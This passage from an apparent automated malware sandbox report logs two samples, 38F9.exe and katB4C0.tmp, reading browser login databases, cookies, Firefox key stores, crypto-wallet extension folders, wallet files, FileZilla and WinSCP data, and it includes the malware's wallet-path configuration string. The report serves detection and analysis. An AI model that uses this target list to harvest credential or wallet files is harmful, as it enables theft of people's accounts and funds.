Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: nnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ExodusWeb3
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Electrum-LTC\wallets\
Opens network shares
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: \\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: \\config\ Jump to behavior
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
